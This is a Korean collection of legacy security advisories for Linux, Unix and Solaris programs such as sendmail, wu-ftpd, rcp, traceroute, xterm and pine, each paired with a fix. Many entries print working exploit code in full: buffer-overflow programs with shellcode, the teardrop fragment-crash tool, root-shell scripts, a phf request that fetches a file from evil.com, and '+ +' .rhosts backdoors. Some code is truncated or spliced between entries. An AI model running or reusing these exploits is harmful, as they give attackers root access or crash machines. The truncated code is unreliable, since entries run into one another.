        래드햇 2.0 사용자는 rpm -e imap를 실행시켜서 없애라
        ftp.redhat.com 에 가면 패치된것이 있으니 받아서 패치하라


 제  목: [보안] 리눅스 ircd
명령

        ircd

시스템

        Debian Linux(1.3.1)

문제점

        IRC서버의 패키지인 ircd 2.9.32-3 은 데비안 1.3.1에 포함되어 있다.

        첫째로 문제점은 /etc/ircd/ 를 읽을수 있다. 이 디렉토리에 포함된
        서버 설정 파일과 irc 설정자의 패스워드 조차 읽을 수 있도록
        퍼미션이 열려있다.

        둘째로 패키지를 설치하면 /etc/inetd.conf에 이런 한줄이 설정된다.

        ircd            stream  tcp     wait    root    /usr/sbin/ircd ircd -i

                                           ------
        위에서 보듯이 root 라고 되어 있는 부분을 irc 라고 고쳐라..
        루트는 개여하지 않는것이 원칙이다.

해결책

        Loveyou~# chmod 700 /etc/ircd/
        Loveyou~# chown irc.irc /etc/ircd/

        Loveyou~# grep ircd /etc/inetd.conf
        ircd            stream  tcp     wait    irc     /usr/sbin/ircd ircd -i
        위처럼 irc 라고 고쳐져야 한다.

---------------------------

 제  목: [보안] 리눅스 rcp (리모트)
명령

        /usr/bin/rcp

시스템

        Red  Hat  4.0  (if  user  nobody  has  UID 65535 and Slackware 3.1
        (possibly others)

문제점

        nobody의 uid가 65535일때 /usr/bin/rcp의 문제점이 나타난다.
        상대방의 서버가 NCSA httpd 서버를 쓴다면은 다음과 같은 일을 벌일 수가
        있다.
        root[11:20][504]~# su - nobody
        [nobody@slip-70-8 /]$ id
        uid=65535(nobody) gid=65535
        [nobody@slip-70-8 /]$ rcp oberheim@moe.cc.utexas.edu:brb /tmp/test
        [nobody@slip-70-8 /]$ ls -la /tmp/test

        -rw-------   1 root     65535           0 Jan 29 11:20 /tmp/test

        $ echo "+ +" > /tmp/my.rhosts
        $ echo "GET
 /cgi-bin/phf?Qalias=x%0arcp+hacker@evil.com:/tmp/my.rhosts+
        /root/.rhosts" | nc -v - 20 victim.com 80
        $ rsh -l root victim.com "/bin/sh -i"
        #


해결책

        nobody의 UID를 99 로 해두어라.

---------------------------

 제  목: [보안] 리눅스 perl 5.003
명령

        sperl5.003

적용되는 호스트

        Linux Slackware 3.1, 3.2
        래드햇 리눅스

문제점

        sperl5.003 이라는 파일을 버퍼 오버플로우를 시킬수 있다.


    #include
    #define DEFAULT_OFFSET                  640
    #define DEFAULT_BUFFER_SIZE            1600
    #define NOP                            0x90

    char shellcode[] =
      "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"
      "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"
      "\x80\xe8\xdc\xff\xff\xff/bin/sh";
    unsigned long get_sp(void) {
       __asm__("movl %esp,%eax");
    }

    void main(int argc, char *argv[]) {
      char *buff, *ptr;
      long *addr_ptr, addr;
      int offset=DEFAULT_OFFSET, bsize=DEFAULT_BUFFER_SIZE;
      int i;


      if (!(buff = malloc(bsize))) {
        printf("Can't allocate memory.\n");

        exit(0);
      }

      addr = get_sp() - offset;
      printf("Using address: 0x%x\n", addr);

      ptr = buff;
      addr_ptr = (long *) ptr;
      for (i = 0; i < bsize; i+=4)
        *(addr_ptr++) = addr;

      for (i = 0; i < bsize/2; i++)
        buff[i] = NOP;

      ptr = buff + ((bsize/2) - (strlen(shellcode)/2));
      for (i = 0; i < strlen(shellcode); i++)
        *(ptr++) = shellcode[i];

      buff[bsize - 1] = '\0';

      execl("/usr/bin/sperl5.003","/usr/sbin/sperl5.003",buff, NULL);
    }

해결

    sperl5.003 의 suid bit를 없애라.
    아니면 5.003_97f 의 버젼으로 바꾸어라.

---------------------------

 제  목: [보안] 리눅스 sysctl()
명령

        sysctl()

적용되는 시스템

        Linux prior to 2.0.31

문제점

        sysctl()이라는 함수에 문제가 있다. syslog flooding이 가능하며..
        오버플로우를 일으킬수 있는 보안상 문제점이 발견되었다.

    #include

    main() {
      sysctl(NULL, 0x80000000, NULL, NULL, NULL, 0);
    /* 0x80000000 can be replaced with 0xC0000000 -- both are negative,
     * and
     * produce a zero when multiplied by sizeof(int) */
    }

        이와 같은 문제점은 getgroups()라는 함수에서도 마찬가지다.
해결

        반드시 2.0.31 인 사람만 고쳐라.
        /usr/src/linux/kernel.sysctl.c 의 파일안에

            struct ctl_table_header *tmp;
            void *context;

            if (nlen == 0 || nlen >= CTL_MAXNAME) <= 이것을
            if (nlen <= 0 || nlen >= CTL_MAXNAME) <= 이렇게 고쳐라.
                    return -ENOTDIR;

            error = verify_area(VERIFY_READ,name,nlen*sizeof(int));

         그리고 다시 컴파일 시켜라. 커널 컴파일.

---------------------------

 제  목: [보안] 리눅스&유닉스 sendmail (1)
명령
        sendmail( 8.7 ~ 8.8.2)

영향있는 시스템

        센드 메일을 탑재한 모든 유닉스

문제점

        다음과 같은 간단한 스크립트로 루트를 획득할수 있다.


#/bin/sh
#
#
#                                   Hi !
#                This is exploit for sendmail smtpd bug
#    (ver. 8.7-8.8.2 for FreeBSD, Linux and may be other platforms).
#         This shell script does a root shell in /tmp directory.
#          If you have any problems with it, drop me a letter.
#                                Have fun !
#
#
#                           ----------------------
#               ---------------------------------------------
#    -----------------   Dedicated to my beautiful lady
------------------
#               ---------------------------------------------
#                           ----------------------
#
#          Leshka Zakharoff, 1996. E-mail: leshka@leshka.chuvashia.su
#
#
#
echo   'main()                                                '>>leshka.c
echo   '{                                                     '>>leshka.c
echo   '  execl("/usr/sbin/sendmail","/tmp/smtpd",0);         '>>leshka.c
echo   '}                                                     '>>leshka.c
#
#
echo   'main()                                                '>>smtpd.c
echo   '{                                                     '>>smtpd.c
echo   '  setuid(0); setgid(0);                               '>>smtpd.c
echo   '  system("cp /bin/sh /tmp;chmod a=rsx /tmp/sh");      '>>smtpd.c
echo   '}                                                     '>>smtpd.c
#
#
cc -o leshka leshka.c;cc -o /tmp/smtpd smtpd.c
./leshka
kill -HUP `ps -ax|grep /tmp/smtpd|grep -v grep|tr -d ' '|tr -cs
"[:digit:]" "\n
"|head -n 1`
rm leshka.c leshka smtpd.c /tmp/smtpd
/tmp/sh

해결책

        높은 버젼의 센드메일을 설치하는 길 밖에 없다.

---------------------------

 제  목: [보안] 리눅스&유닉스 wu-FTP
명령

        wu-FTP ( site exec )

영향있는 시스템

        wu-ftp2.x 를 깔은 모든 유닉스 버젼

문제점

        site exec 의 큰 버그로 루트 권한으로 돌아가는 ftp의 잘못된 오류로
        루트권한으로 호스트의 프로그램을 실행시킬수가 있다.

        cat > bug.c
        #include
        #include
        #include

        main()
        {
           seteuid(0);
           system("cp /bin/sh /tmp/.sh");
           system("chmod 6777 /tmp/.sh");
        }

       위의 소스를 cc -o bug bug.c 로 컴파일 후에 ftp 로 자신의 호스트에 접속
        한다.
        그 예이다.

ftp 0
220 exploitablesys FTP server (Version wu-2.4(1) Sun Jul 31 21:15:56 CDT 1994) r
eady.
Name (0:guest): guest
331 Password required for guest.
Password: (password)
230 User guest logged in.
Remote system type is UNIX.
Using binary mode to transfer files.
ftp> quote "site exec bash -c id"      (see if sys is exploitable)
200-bash -c id
200-uid=0(root) gid=0(root) euid=505(adm) egid=100(users) groups=100(users)
200  (end of 'bash -c id')
ftp> quote "site exec bash -c /home/guest/bug"
200-bash -c /home/guest/bug
200  (end of 'bash -c /home/guest/bug')
ftp> quit

        위와 같이 하면 bug라는 프로그램이 루트 권한으로 돌아가게 된다.
        그렇게 되면 /tmp 디렉토리에 루트권한의 쉘이 만들어진다.

해결

        ftp 버젼을 최신으로 맞추어라.
        2.4.2버젼이면 무난하다.
        또한 의심하는 아이디는 site 명령을 사용하지 못하게 제한을 두어라

---------------------------

 제  목: [보안] 리눅스&유닉스 sendmail (2)
명령

        sendmail 8.8.4

시스템

        센드메일 8.8.4를 운영하는 모든 시스템

문제점

        센드 메일의 잘못된 버그로 인해 /var/tmp에 dead.letter이라는 파일을
        만드는데 이는 루트의 권한이다.

        그 예

        ln -s /.rhosts /var/tmp/dead.letter
        telnet white.hacker.securi.ty 25
        mail from : security@wh.it.e.best
        rcpt to : Fuck@fuck.you.haha
        data
        dlfjs qjrmrk dlTska..
        .
        quit

        이렇게 함으로써 루트 디렉토리에 .rhosts 파일을 만들수 있다.
        이를 좀더 응용하면 패스워드 파일을 손볼수 있다.

해결책

        센드메일 을 8.8.5 이상으로 올려라.

---------------------------

 제  목: [보안] 리눅스 Lizards game
명령

        Lizards game

시스템

        슬랙웨어 3.4

문제점

        Lizards 게임은 setuid가 걸려있는 프로그램이다.
        setuid 가 걸려 있는 이유는 바로 이 게임이 svgalib를 사용하기 때문이다.
        그런데 그 게임의 소스를 보면 system(clear);라고 함수를 사용했다.
        이는 사용자의 입장으로 보면 간단히 구멍을 발견할 수 있다.
        path=. 라고 두고 clear 스크립트를 작성하여 그 clear스크립트를
        루트의 권한으로 돌릴수 있다.

해결책

        우선 그 파일의 퍼미션을 닫아두어라.

        chmod -s /usr/games/lizardlib/lizardshi

---------------------------

 제  목: [보안] 리눅스  IP fragment overlap
명령

        IP fragment overlap

시스템

        리눅스 / 윈도우 NT / 윈도우 95 / 기타 유닉스 시스템

문제점

        아래의 프로그램을 돌려서 시스템을 멈추게 할 수 있다.
 /*
     * Copyright (c) 1997 route|daemon9
     * 11.3.97
     *
     * Linux/NT/95 Overlap frag bug exploit
     *
     * Exploits the overlapping IP  fragment bug present in all  Linux
     * kernels and NT 4.0 / Windows 95 (others?)
     *
     * Based off of:   flip.c by klepto
     * Compiles on:    Linux, *BSD*
     *
     *  gcc -O2 teardrop.c -o teardrop
     *      OR
     *  gcc -O2 teardrop.c -o teardrop -DSTRANGE_BSD_BYTE_ORDERING_THING
     */

    #include
    #include
    #include
    #include
    #include
    #include
    #include
    #include
    #include
    #include
    #include

    #ifdef STRANGE_BSD_BYTE_ORDERING_THING
                            /* OpenBSD < 2.1, all FreeBSD and netBSD, BSDi < 3.0

 */
    #define FIX(n)  (n)
    #else                   /* OpenBSD 2.1, all Linux */
    #define FIX(n)  htons(n)
    #endif  /* STRANGE_BSD_BYTE_ORDERING_THING */

    #define IP_MF   0x2000  /* More IP fragment en route */
    #define IPH     0x14    /* IP header size */
    #define UDPH    0x8     /* UDP header size */
    #define PADDING 0x1c    /* datagram frame padding for first packet */
    #define MAGIC   0x3     /* Magic Fragment Constant (tm).  Should be 2 or 3 *
/
    #define COUNT   0x1     /* Linux dies with 1, NT is more stalwart and can
                             * withstand maybe 5 or 10 sometimes...  Experiment.

                             */
    void usage(u_char *);
    u_long name_resolve(u_char *);
    u_short in_cksum(u_short *, int);
    void send_frags(int, u_long, u_long, u_short, u_short);

    int main(int argc, char **argv)
    {
        int one = 1, count = 0, i, rip_sock;
        u_long  src_ip = 0, dst_ip = 0;
        u_short src_prt = 0, dst_prt = 0;
        struct in_addr addr;

        fprintf(stderr, "teardrop   route|daemon9\n\n");

        if((rip_sock = socket(AF_INET, SOCK_RAW, IPPROTO_RAW)) < 0)
        {
            perror("raw socket");
            exit(1);
        }
        if (setsockopt(rip_sock, IPPROTO_IP, IP_HDRINCL, (char *)&one, sizeof(on
e))
            < 0)
        {
            perror("IP_HDRINCL");
            exit(1);
        }
        if (argc < 3) usage(argv[0]);
        if (!(src_ip = name_resolve(argv[1])) || !(dst_ip = name_resolve(argv[2]
)))
        {
            fprintf(stderr, "What the hell kind of IP address is that?\n");
            exit(1);
        }

        while ((i = getopt(argc, argv, "s:t:n:")) != EOF)
        {
            switch (i)
            {
                case 's':               /* source port (should be emphemeral) */

                    src_prt = (u_short)atoi(optarg);
                    break;
                case 't':               /* dest port (DNS, anyone?) */
                    dst_prt = (u_short)atoi(optarg);
                    break;
                case 'n':               /* number to send */
                    count   = atoi(optarg);
                    break;
                default :
                    usage(argv[0]);
                    break;              /* NOTREACHED */
            }
        }
        srandom((unsigned)(time((time_t)0)));
        if (!src_prt) src_prt = (random() % 0xffff);
        if (!dst_prt) dst_prt = (random() % 0xffff);
        if (!count)   count   = COUNT;

        fprintf(stderr, "Death on flaxen wings:\n");
        addr.s_addr = src_ip;
        fprintf(stderr, "From: %15s.%5d\n", inet_ntoa(addr), src_prt);
        addr.s_addr = dst_ip;
        fprintf(stderr, "  To: %15s.%5d\n", inet_ntoa(addr), dst_prt);
        fprintf(stderr, " Amt: %5d\n", count);
        fprintf(stderr, "[ ");

        for (i = 0; i < count; i++)
        {
            send_frags(rip_sock, src_ip, dst_ip, src_prt, dst_prt);
            fprintf(stderr, "b00m ");
            usleep(500);
        }
        fprintf(stderr, "]\n");
        return (0);
    }

    /*
     *  Send two IP fragments with pathological offsets.  We use an implementati
on
     *  independent way of assembling network packets that does not rely on any
of
     *  the diverse O/S specific nomenclature hinderances (well, linux vs. BSD).

     */

    void send_frags(int sock, u_long src_ip, u_long dst_ip, u_short src_prt,
                    u_short dst_prt)
    {
        u_char *packet = NULL, *p_ptr = NULL;   /* packet pointers */
        u_char byte;                            /* a byte */
        struct sockaddr_in sin;                 /* socket protocol structure */

        sin.sin_family      = AF_INET;
        sin.sin_port        = src_prt;
        sin.sin_addr.s_addr = dst_ip;

        /*
         * Grab some memory for our packet, align p_ptr to point at the beginnin
g
         * of our packet, and then fill it with zeros.
         */
        packet = (u_char *)malloc(IPH + UDPH + PADDING);
        p_ptr  = packet;
        bzero((u_char *)p_ptr, IPH + UDPH + PADDING);

        byte = 0x45;                        /* IP version and header length */
        memcpy(p_ptr, &byte, sizeof(u_char));
        p_ptr += 2;                         /* IP TOS (skipped) */
        *((u_short *)p_ptr) = FIX(IPH + UDPH + PADDING);    /* total length */
        p_ptr += 2;
        *((u_short *)p_ptr) = htons(242);   /* IP id */
        p_ptr += 2;
        *((u_short *)p_ptr) |= FIX(IP_MF);  /* IP frag flags and offset */
        p_ptr += 2;
        *((u_short *)p_ptr) = 0x40;         /* IP TTL */
        byte = IPPROTO_UDP;
        memcpy(p_ptr + 1, &byte, sizeof(u_char));
        p_ptr += 4;                         /* IP checksum filled in by kernel *
/
        *((u_long *)p_ptr) = src_ip;        /* IP source address */
        p_ptr += 4;
        *((u_long *)p_ptr) = dst_ip;        /* IP destination address */
        p_ptr += 4;
        *((u_short *)p_ptr) = htons(src_prt);       /* UDP source port */
        p_ptr += 2;
        *((u_short *)p_ptr) = htons(dst_prt);       /* UDP destination port */
        p_ptr += 2;
        *((u_short *)p_ptr) = htons(8 + PADDING);   /* UDP total length */

        if (sendto(sock, packet, IPH + UDPH + PADDING, 0, (struct sockaddr *)&si
n,
                    sizeof(struct sockaddr)) == -1)
        {
            perror("\nsendto");
            free(packet);
            exit(1);
        }

        /*  We set the fragment offset to be inside of the previous packet's
         *  payload (it overlaps inside the previous packet) but do not include
         *  enough payload to cover complete the datagram.  Just the header will

         *  do, but to crash NT/95 machines, a bit larger of packet seems to wor
k
         *  better.
         */
        p_ptr = &packet[2];         /* IP total length is 2 bytes into the heade
r */
        *((u_short *)p_ptr) = FIX(IPH + MAGIC + 1);
        p_ptr += 4;                 /* IP offset is 6 bytes into the header */
        *((u_short *)p_ptr) = FIX(MAGIC);

        if (sendto(sock, packet, IPH + MAGIC + 1, 0, (struct sockaddr *)&sin,

    void usage(u_char *name)
    {
        fprintf(stderr,
                "%s src_ip dst_ip [ -s src_prt ] [ -t dst_prt ] [ -n how_many ]\
n",
                name);
        exit(0);
    }


해결책

        커널을 2.0.32-pre4 로 업해라.
        or
        소스를 다음과 같이 바꿔서 다시 컴파일 시켜라
 --- ip_fragment.c       Mon Nov 10 14:58:38 1997
    +++ ip_fragment.c.patched       Mon Nov 10 19:18:52 1997
    @@ -12,6 +12,7 @@
      *             Alan Cox        :       Split from ip.c , see ip_input.c for

 history.
      *             Alan Cox        :       Handling oversized frames
      *             Uriel Maimon    :       Accounting errors in two fringe case
s.
    + *             route           :       IP fragment overlap bug
      */

     #include
    @@ -578,6 +579,22 @@
                            frag_kfree_s(tmp, sizeof(struct ipfrag));
                    }
            }
    +
    +        /*
    +         * Uh-oh.  Some one's playing some park shenanigans on us.
    +         * IP fragoverlap-linux-go-b00m bug.
    +         * route 11.3.97
    +         */
    +
    +        if (offset > end)
    +        {
    +                skb->sk = NULL;
    +                printk("IP: Invalid IP fragment (offset > end) found from %
s\n", in_ntoa(iph->saddr));
    +                kfree_skb(skb, FREE_READ);
    +                ip_statistics.IpReasmFails++;
    +                ip_free(qp);
    +                return NULL;
    +        }

            /*
             *      Insert this fragment in the chain of fragments.

---------------------------

 제  목: [보안] 리눅스 pppd chatscript
명령

        데비안 pppd chatscript

시스템

        데비안 리눅스

문제점

        /var/log/ppp.log 파일을 누구나 다 읽을수 있게 해놓았다.

        $> more /var/log/ppp.log
        어쩌구 저쩌구.

        Dec 14 16:43:14 gateway chat[362]: ^Mlogin -- got it
        Dec 14 16:43:14 gateway chat[362]: send (loginname^M)
        Dec 14 16:43:15 gateway chat[362]: expect (word)
        Dec 14 16:43:15 gateway chat[362]: : loginname^M
        Dec 14 16:43:15 gateway chat[362]: Password -- got it
        Dec 14 16:43:15 gateway chat[362]: send (나의패스워드^M)

        이런 형식으로 내용을 보면 패스워드가(^^;) 보인다.
해결책

        패치된 버젼이 없는것 같다. ^^;

           지금은 나왔을 것이다. 버젼을 올려라

---------------------------

 제  목: [보안] 리눅스 X 서버
명령
        X서버- XFree 3.3.1 3.2.9 3.1.2 의 XF86_시리즈

시스템

        엑스서버를 쓴느 모든 유닉스및 리눅스

문제점

        다음과 같은 편법으로 첫줄의 파일을 볼수가 있다.

$ ls -al /etc/shadow
-rw-------   1 root     bin          1039 Aug 21 20:12  /etc/shadow
$ id
uid=502(loveyou) gid=500(users) groups=500(users)
$ cd /usr/X11R6/bin
$ ./XF86_SVGA -config /etc/shadow
Unrecognized option: root:qEXaUxSeQ45ls:10171:-1:-1:-1:-1:-1:-1
use: X [:] [option]
-a #                   mouse acceleration (pixels)
-ac                    disable access control restrictions
-audit int             set audit trail level
-auth file             select authorization file
bc                     enable bug compatibility
-bs                    disable any backing store support
-c                     turns off key-click


        이런 형식이다..

해결책

        Setuid 를 없애던지 특정 이용자만 쓰도록 허락해라.

---------------------------

 제  목: [보안] 리눅스 래드햇 5.0 유틸리티
명령

        /bin/ping,  /usr/sbin/traceroute,  /usr/bin/rlogin,   /usr/bin/rsh
        (actually glibc2 is guilty one)

시스템

        래드햇 5.0

문제점

        버퍼 오버런을 이용해서 루트를 얻는다.

   /*

       Just Your Standard EGGSHELL Proggie:
       traceroute buffer overflow exploit for RedHat Linux 5.0
       mostly ripped from Aleph One

       Wilton Wong
       wwong@blackstar.net

       gcc -o trace_shell trace_shell.c

    */
    #include

    #define DEFAULT_OFFSET                 0
    #define DEFAULT_BUFFER_SIZE            1019
    #define DEFAULT_EGG_SIZE               2048
    #define NOP                            0x90

    char shellcode[] =
            "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"
            "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"
            "\x80\xe8\xdc\xff\xff\xff/bin/sh";

    unsigned long get_sp(void) {
       __asm__("movl %esp,%eax");
    }

    void main(int argc, char *argv[]) {
      char *buff, *ptr, *egg;
      long *addr_ptr, addr;
      int offset=DEFAULT_OFFSET, bsize=DEFAULT_BUFFER_SIZE;
      int i, eggsize=DEFAULT_EGG_SIZE;

      if (argc > 1) bsize  = atoi(argv[1]);
      if (argc > 2) offset = atoi(argv[2]);
      if (argc > 3) eggsize = atoi(argv[3]);

      if (!(buff = malloc(bsize))) {
        printf("Can't allocate memory.\n");
        exit(0);
      }
      if (!(egg = malloc(eggsize))) {
        printf("Can't allocate memory.\n");
        exit(0);
      }

      addr = get_sp() - offset;
      printf("Using address: 0x%x\n", addr);

      ptr = buff;
      addr_ptr = (long *) ptr;
      for (i = 0; i < bsize; i+=4)
        *(addr_ptr++) = addr;

      ptr = egg;
      for (i = 0; i < eggsize - strlen(shellcode) - 1; i++)
        *(ptr++) = NOP;

      for (i = 0; i < strlen(shellcode); i++)
        *(ptr++) = shellcode[i];

      buff[bsize - 1] = '\0';
      egg[eggsize - 1] = '\0';

      memcpy(egg,"EGG=",4);
      putenv(egg);
      memcpy(buff,"RET=",4);
      putenv(buff);
      printf("Now run: /usr/sbin/traceroute $RET\n");
      system("/bin/bash");
    }


해결책

        패치 방법
$ diff -u /dbase/glibc-2.0.6pre4/resolv/res_query.c /usr/glibc/src/libc/resolv/
    --- /dbase/glibc-2.0.6pre4/resolv/res_query.c   Mon Jan  6 23:05:43 1997
    +++ /usr/glibc/src/libc/resolv/res_query.c      Mon Dec  8 09:05:53 1997
    @@ -321,7 +321,7 @@
            u_char *answer;         /* buffer to put answer */
            int anslen;             /* size of answer */
     {
    -       char nbuf[MAXDNAME];
    +       char nbuf[MAXDNAME * 2 + 2];  /*이부분을 위와 바꾸면 된다.*/
            const char *longname = nbuf;
            int n;

---------------------------

 제  목: [보안] 리눅스 crontab
명령

        dillon crontab / crond ( dcron 2.2 )

시스템

        슬렉웨어 3.4

문제점

        버퍼 오버 플로우를 이용해서 루트를 얻을수 있다.
        잠재적인 버퍼 오버 플로우의 가능성이 보인다.

해결책

        다음의 사이트에서 패치 버젼을 받는다.
        ftp://ftp.cdrom.com/pub/linux/slackware-3.4/slakware/a2/bin.tgz
        ftp://ftp.cdrom.com/pub/linux/slackware-3.4/source/a/bin/dcron22.tar.gz
        ftp://ftp.cdrom.com/pub/linux/slackware-3.4/source/a/bin/dcron22.diff.gz

---------------------------

 제  목: [보안] 솔라리스 xterm
명령

        xterm

시스템

        솔라리스 2.5.1(SunOS 5.5.1)

문제점

        버퍼 오버 플로우를 일으켜 보안상 헛점을 만들수 있다.


        그 예제이다.
    /*
     * X11R6.3 xterm exploit for solaris 2.5.1 by DCRH 28/5/97
     *
     */

    #include
    #include
    #include
    #include

    #define EXTRA2 1300
    #define BUF_LENGTH 400
    #define EXTRA 500
       /* Need an addr such that contents of addr+0xe98 = 0 */
    #define SAFE_ADDR ((unsigned)0xefff2008)
    #define STACK_OFFSET 0x4800
    #define SPARC_NOP 0xa61cc013

    u_long sparc_shellcode[] =
    {
        "쉘코드"
    };

    u_long get_sp(void)
    {
        asm("mov %sp,%i0 \n");
    }

    char buf[BUF_LENGTH + EXTRA + EXTRA2 + 8];
    char longvar[0x4000] = "BLAH=";

    void main(int argc, char *argv[])
    {
        char *env[2];
        unsigned long targ_addr;
        u_long *long_p;
        int i, code_length = sizeof(sparc_shellcode),dso=0;

        if(argc > 1) dso=atoi(argv[1]);

        long_p =(u_long *) buf;

        for (i = 0; i < EXTRA2 / sizeof(u_long); i++)
            *long_p++ = (SAFE_ADDR >> 8) | (SAFE_ADDR << 24);

        targ_addr = get_sp() - STACK_OFFSET - dso;
        for (i = 0; i < (BUF_LENGTH - code_length) / sizeof(u_long); i++)
            *long_p++ = SPARC_NOP;

        for (i = 0; i < code_length / sizeof(u_long); i++)
            *long_p++ = sparc_shellcode[i];

        for (i = 0; i < EXTRA / sizeof(u_long); i++)
            *long_p++ = targ_addr;

        printf("Jumping to address 0x%lx B[%d] E[%d] SO[%d]\n",
               targ_addr,BUF_LENGTH,EXTRA,STACK_OFFSET);

        /* This is just to shove the stack down a bit */
        memset(&longvar[5], 'a', sizeof longvar-6);
        longvar[sizeof longvar -1] = '\0';
        env[0] = longvar;
        env[1] = NULL;

        execle("./xterm", "xterm", "-xrm", buf,(char *) 0, env);
        perror("execl failed");
    }


해결책

        다음의 사이트에서 와퍼를 구해다가 설치하라.
        ftp://ftp.auscert.org.au/pub/auscert/tools/overflow_wrapper
        /overflow_wrapper.c
    or
        http://cegt201.bradley.edu/~im14u2c/wrapper/

---------------------------

 제  목: [보안] 솔라리스 ff.core
명령

        /usr/openwin/bin/ff.core

시스템

        솔라리스 2.4

문제점

        IFS=/을 이용해서 /usr/??프로그램을 돌리려는 ff.core 파일의 본래 취지를
        벗어나 usr 프로그램을 돌리고 그 뒤의 것들은 인수로써 작용하게 만든다.
        다음은 그 예제이다.

        %  ksh
        %  cd /tmp
        %  cp /bin/ksh .
        %  echo "chown root ksh; chmod u+s ksh" > usr
        %  chmod +x usr
        %  export IFS=/
        %  한줄의 어떤 명령 ..
        %  ./ksh
        #

해결책

        패치해라.

---------------------------

 제  목: [보안] 솔라리스 gethostbyname()
명령

        gethostbyname()

시스템

        솔라리스 2.5 2.5.1

문제점

        버퍼 오버 플로우를 일으켜서 쉘을 실행시킨다..루트 소유로.

        그 예제이다.
/*
 * rlogin-exploit.c: gets a root shell on most Solaris 2.5/2.5.1 machines
 * by exploiting the gethostbyname() overflow in rlogin.
 *
 * gcc -o rlogin-exploit rlogin-exploit.c
 *
 * Jeremy Elson, 18 Nov 1996
 * jeremy.elson@nih.gov
 */

#include
#include
#include
#include

#define BUF_LENGTH      8200
#define EXTRA           100
#define STACK_OFFSET    4000
#define SPARC_NOP       0xa61cc013

u_char sparc_shellcode[] ="쉘코드";


u_long get_sp(void)
{
  __asm__("mov %sp,%i0 \n");
}

void main(int argc, char *argv[])
{
  char buf[BUF_LENGTH + EXTRA];
  long targ_addr;
  u_long *long_p;
  u_char *char_p;
  int i, code_length = strlen(sparc_shellcode);

  long_p = (u_long *) buf;

  for (i = 0; i<(BUF_LENGTH - code_length) / sizeof(u_long); i++)
    *long_p++ = SPARC_NOP;

  char_p = (u_char *) long_p;

  for (i = 0; i out & (and go to sleep).
#
# version 3.91, 3.92 .....
# version 3.95 fixed
#
# Note: must do some changes in the script. look 4 CHANGE THIS:
#
# Yea i know is a lame script but is better than nothing..
# try to exploit the bug without a script and you will wait
# forever.
#                     e-torres@uniandes.edu.co
#

argumentos=0
if [ $# -eq $argumentos ]
  then
    echo "Usage: $0 username path/file_to_create & "
    echo "ET Lownoise 1996 Colombia"
    exit
fi

username=$1
archivo=$2

#CHANGE THIS:

#text='text to puit in file to create'
#usr=path of the program users
#pineprog=how the pine program appears when u do a w (who) command

text='+ +'
usr=users
pineprog=pine

#
date
echo "- Looking for $1 to log in... just wait"
#
entrada=0
entro=0

until [ $entro -eq $entrada ]
do
        for nombre in `$usr`
        do
         if [ $nombre = $1 ]
            then
                entro=1

         fi
        done

done
date
echo "- Ok $username is logged now."
#
echo "- Lets wait that $1 run pine. "


noejecuto=0
ejecuto=0

until [ $ejecuto -ne $noejecuto ]
do


     for ejecutando in `w $username`
     do
       if [ $ejecutando = $pineprog ]
         then
                date
                echo '- OK ' $1 ' is running ' $pineprog '.'
                ejecuto=1

       fi
     done

done

echo "- Now lets grab the lock file of $username from /tmp"
ls -al /tmp | grep $username > temp1
cat temp1 | grep rw-rw-rw- > temporal
lockfile=`awk '{print $9}' temporal`
rm temp1
rm temporal
echo "> Username $username"
echo "> Lockfile $lockfile"
echo
echo "- OK now im going to wait that $username "
echo "  quits $pineprog "
# do it till exist lockfile, that means username havent quit pine
cd /tmp

while [ -s $lockfile ]
    do
    sleep 0
done

cd
date
echo "- OK $username quit $pineprog .. now to link $lockfile "
#$archivo is the complete path of file in username
cd /tmp
(한줄의 과정)
cho "- $lockfile is now linked "
cd
echo "- $username must now return to pine to create"
echo "  $archivo "
echo "- Waiting $username to return pine "

noejecuto=0
ejecuto=0

until [ $ejecuto -ne $noejecuto ]
do
     for ejecutando in `w $username `
     do
       if [ $ejecutando = $pineprog ]
         then
                date
                echo '- OK ' $username ' is running ' $pineprog
                ejecuto=1

       fi
     done

done
echo "- Introducing text..."
cd /tmp
echo $text > $lockfile
echo "- Erasing $lockfile "
rm $lockfile
cd
echo "THE END DUDE!"
echo "ET Lownoise 1996 "


해결책

        Pine의 버젼을 3.95이상으로 바꾸어라.

---------------------------

 제  목: [보안] 솔라리스 sendmail
명령

        sendmail ( 8.7.x ~ 8.8.2?)

시스템

        솔라리스 2.5 2.5.1

문제점

        센드 메일상의 버그로 루트쉘을 생성할 수 있다.
        다음은 그 예제이다.

    #/bin/sh
    #
    # Modify  RUN in  x.c for  what you  wanna run,  and possibly  the
    # location or format of the ps command in the KILL line below  for
    # your platform.
    #
    # Or you could remove x.c alltogether and just put what you  wanna
    # do as root in smtpd.c (Ie: 'echo "+ +" >>/.rhosts' works nicely)
    #
    #
    cat << _EOF_ >/tmp/x.c
     #define RUN "/bin/ksh"
     #include
     main()
     {
        execl(RUN,RUN,NULL);
     }
    _EOF_
    #
    cat << _EOF_ >/tmp/spawnfish.c
     main()
     {
        (일련의 과정 ..)
     }
    _EOF_
    #
    cat << _EOF_ >/tmp/smtpd.c
     main()
     {
       setuid(0); setgid(0);
       system("chown root /tmp/x ;chmod 4755 /tmp/x");
     }
    _EOF_
    #
    #
    gcc -O  -o /tmp/x /tmp/x.c
    gcc -O3 -o /tmp/spawnfish /tmp/spawnfish.c
    gcc -O3 -o /tmp/smtpd /tmp/smtpd.c
    #
    /tmp/spawnfish
    kill -HUP `/usr/ucb/ps -ax|grep /tmp/smtpd|grep -v grep|sed s/"[ ]*"// |cut
-d" " -f1`
    rm /tmp/spawnfish.c /tmp/spawnfish /tmp/smtpd.c /tmp/smtpd /tmp/x.c
    sleep 5
    if [ -u /tmp/x ] ; then
       echo "leet..."
       /tmp/x
    fi

해결책

        센드메일의 버젼을 8.8.5 이상으로 올리면 된다.

---------------------------

 제  목: [보안] 솔라리스 admintool
명령

        admintool

시스템

        솔라리스 2.5

문제점

        다음과 같은간단한 경위로 .rhosts파일을 생성하여 루트를 획득할수 있다.

        setenv DISPLAY yourdisplay:0.0
        ln -s /.rhosts /tmp/.group.lock
        /usr/bin/admintool
        (일련의 과정 )
        echo "+ +" >> .rhosts
        /usr/bin/rsh localhost -l root "(/usr/openwin/bin/xterm&)"

해결책

        setuid를 없애던지 패치를 하라.

---------------------------

